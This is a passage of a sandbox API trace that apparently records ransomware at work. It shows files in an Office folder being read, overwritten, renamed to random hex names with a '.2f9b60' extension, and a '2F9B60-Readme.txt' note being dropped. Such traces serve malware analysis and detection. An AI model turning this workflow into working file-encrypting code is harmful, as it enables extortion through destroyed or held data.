BaseAddress=0x1b82c620) returned 1 [0117.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0117.514] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.514] WriteFile (in: hFile=0x14c0, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3bcaf790, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3bcaf790*=0x10a, lpOverlapped=0x0) returned 1 [0117.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0117.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0117.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9c10) returned 1 [0117.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0117.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0117.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b20 [0117.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b20) returned 1 [0117.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0117.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.516] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="8a") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="b1") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="4f") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="31") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="64") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="f2") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="7d") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="62") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="08") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="88") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="4d") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="7c") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="0d") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="3a") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="b3") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="cb") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="26") returned 2 [0117.516] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="2f") returned 2 [0117.517] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="ef") returned 2 [0117.517] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="8b") returned 2 [0117.517] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="9f") returned 2 [0117.517] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="5a") returned 2 [0117.517] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="5e") returned 2 [0117.517] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="74") returned 2 [0117.517] RtlInitAnsiString (in: DestinationString=0x3bcaf808, SourceString="8ab14f3164f27d6208884d7c0d3ab3cb262fef8b9f5a5e74" | out: DestinationString="8ab14f3164f27d6208884d7c0d3ab3cb262fef8b9f5a5e74") [0117.517] RtlAnsiStringToUnicodeString (in: DestinationString=0x3bcaf7d8, SourceString="8ab14f3164f27d6208884d7c0d3ab3cb262fef8b9f5a5e74", AllocateDestinationString=1 | out: DestinationString="8ab14f3164f27d6208884d7c0d3ab3cb262fef8b9f5a5e74") returned 0x0 [0117.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8d70 [0117.517] RtlFreeAnsiString (AnsiString="8") [0117.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0117.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0117.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9c10) returned 1 [0117.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0117.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9dc0) returned 1 [0117.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9cd0) returned 1 [0117.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d90) returned 1 [0117.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d60) returned 1 [0117.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d30) returned 1 [0117.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7adfc0 [0117.518] wcscat (in: _Dest=0x1b7adfc0, _Source="8ab14f3164f2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\8ab14f3164f2") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\8ab14f3164f2" [0117.518] wcscat (in: _Dest=0x1b7adfc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\8ab14f3164f2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\8ab14f3164f2.2f9b60" [0117.518] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\8ab14f3164f2.2f9b60", NtPathName=0x3bcaf7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\8ab14f3164f2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279970 [0117.518] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x3bcaf850, FileInformation=0x20279970, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0117.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0117.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47320) returned 1 [0117.520] NtQueryInformationFile (in: FileHandle=0x14c0, IoStatusBlock=0x3bcaf818, FileInformation=0x3bcaf828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3bcaf818, FileInformation=0x3bcaf828) returned 0x0 [0117.520] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x3bcaf818, FileInformation=0x3bcaf828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d70) returned 1 [0117.521] FlushFileBuffers (hFile=0x14c0) returned 1 [0117.530] CloseHandle (hObject=0x14c0) returned 1 [0117.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7adfc0 [0117.531] wcscpy (in: _Dest=0x1b7adfc0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0117.531] wcscat (in: _Dest=0x1b7adfc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0117.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0xffffffff [0117.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c0 [0117.532] WriteFile (in: hFile=0x14c0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3bcaf6d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3bcaf6d0*=0xba9, lpOverlapped=0x0) returned 1 [0117.533] CloseHandle (hObject=0x14c0) returned 1 [0117.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b3a0) returned 1 Thread: id = 1318 os_tid = 0xea4 [0117.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.gif")) returned 0x20 [0117.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF", dwFileAttributes=0x20) returned 1 [0117.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1788 [0117.783] GetFileSizeEx (in: hFile=0x1788, lpFileSize=0x3c1ef880 | out: lpFileSize=0x3c1ef880*=4610) returned 1 [0117.783] SetFilePointerEx (in: hFile=0x1788, liDistanceToMove=0x11fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.783] ReadFile (in: hFile=0x1788, lpBuffer=0x3c1ef800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c1ef848, lpOverlapped=0x0 | out: lpBuffer=0x3c1ef800*, lpNumberOfBytesRead=0x3c1ef848*=0x4, lpOverlapped=0x0) returned 1 [0117.785] SetFilePointerEx (in: hFile=0x1788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa030 [0117.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9fa0 [0117.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ee0 [0117.786] NtQuerySystemTime (in: CurrentTime=0x3c1ef740 | out: CurrentTime=0x3c1ef740*=132462177232318000) returned 0x0 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x714ef2f [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x3b5673f [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x49ebb980 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x2f1955ad [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x47d4c760 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x5119eea8 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x2a90a1ca [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x247cc0cd [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x75c7a8aa [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x3bdbd787 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x3fdb11fe [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x5f0cc80f [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x19de0d3d [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x4f2bca70 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x3b3d3559 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x47690640 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x21e224b6 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x5887c75d [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x24d21169 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x19df9544 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x71c6e93d [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x494dca3e [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x382d3dde [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x49960800 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x158a33fc [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x72e41c07 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x4525b215 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x4d6093b1 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x31db5b67 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x21f55d3 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x4b8f6f56 [0117.786] RtlRandomEx (in: Seed=0x3c1ef730 | out: Seed=0x3c1ef730) returned 0x62953eb5 [0117.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9f70 [0117.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ee0) returned 1 [0117.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa030) returned 1 [0117.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa030 [0117.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa030) returned 1 [0117.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc0d80 [0117.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb5950 [0117.794] ReadFile (in: hFile=0x1788, lpBuffer=0x41fc0d80, nNumberOfBytesToRead=0x1202, lpNumberOfBytesRead=0x3c1ef730, lpOverlapped=0x0 | out: lpBuffer=0x41fc0d80*, lpNumberOfBytesRead=0x3c1ef730*=0x1202, lpOverlapped=0x0) returned 1 [0117.825] SetFilePointerEx (in: hFile=0x1788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.825] WriteFile (in: hFile=0x1788, lpBuffer=0x41fb5950*, nNumberOfBytesToWrite=0x1202, lpNumberOfBytesWritten=0x3c1ef734, lpOverlapped=0x0 | out: lpBuffer=0x41fb5950*, lpNumberOfBytesWritten=0x3c1ef734*=0x1202, lpOverlapped=0x0) returned 1 [0117.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaad0 [0117.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0117.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0117.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb5950) returned 1 [0117.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc0d80) returned 1 [0117.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aaa40 [0117.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0117.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0117.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aaa10 [0117.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa9e0 [0117.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa9b0 [0117.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa9b0) returned 1 [0117.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0117.956] SetFilePointerEx (in: hFile=0x1788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.956] WriteFile (in: hFile=0x1788, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3c1ef850, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3c1ef850*=0x10a, lpOverlapped=0x0) returned 1 [0118.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0118.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa560 [0118.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa560) returned 1 [0118.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0118.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa560 [0118.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa500 [0118.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa500) returned 1 [0118.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0118.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0118.155] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="67") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="33") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="09") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="f2") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="03") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="71") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="c0") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="c5") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="1f") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="28") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="6f") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="58") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="b3") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="92") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="e0") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="05") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="97") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="27") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="aa") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="90") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="ca") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="95") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="02") returned 2 [0118.156] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="ed") returned 2 [0118.157] RtlInitAnsiString (in: DestinationString=0x3c1ef8c8, SourceString="673309f20371c0c51f286f58b392e0059727aa90ca9502ed" | out: DestinationString="673309f20371c0c51f286f58b392e0059727aa90ca9502ed") [0118.157] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c1ef898, SourceString="673309f20371c0c51f286f58b392e0059727aa90ca9502ed", AllocateDestinationString=1 | out: DestinationString="673309f20371c0c51f286f58b392e0059727aa90ca9502ed") returned 0x0 [0118.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8d70 [0118.157] RtlFreeAnsiString (AnsiString="6") [0118.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0118.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0118.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa560) returned 1 [0118.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0118.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0118.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa9e0) returned 1 [0118.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0118.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaad0) returned 1 [0118.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9fa0) returned 1 [0118.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9f70) returned 1 [0118.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0118.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ada20 [0118.158] wcscat (in: _Dest=0x1b7ada20, _Source="673309f20371" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\673309f20371") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\673309f20371" [0118.158] wcscat (in: _Dest=0x1b7ada20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\673309f20371.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\673309f20371.2f9b60" [0118.158] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\673309f20371.2f9b60", NtPathName=0x3c1ef870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\673309f20371.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0118.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202789b0 [0118.158] NtSetInformationFile (FileHandle=0x1788, IoStatusBlock=0x3c1ef910, FileInformation=0x202789b0, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0118.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202789b0) returned 1 [0118.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46830) returned 1 [0118.161] NtQueryInformationFile (in: FileHandle=0x1788, IoStatusBlock=0x3c1ef8d8, FileInformation=0x3c1ef8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c1ef8d8, FileInformation=0x3c1ef8e8) returned 0x0 [0118.162] NtSetInformationFile (FileHandle=0x1788, IoStatusBlock=0x3c1ef8d8, FileInformation=0x3c1ef8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0118.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ada20) returned 1 [0118.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d70) returned 1 [0118.163] FlushFileBuffers (hFile=0x1788) returned 1 [0118.198] CloseHandle (hObject=0x1788) returned 1 [0118.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7adfc0 [0118.214] wcscpy (in: _Dest=0x1b7adfc0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0118.214] wcscat (in: _Dest=0x1b7adfc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0118.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 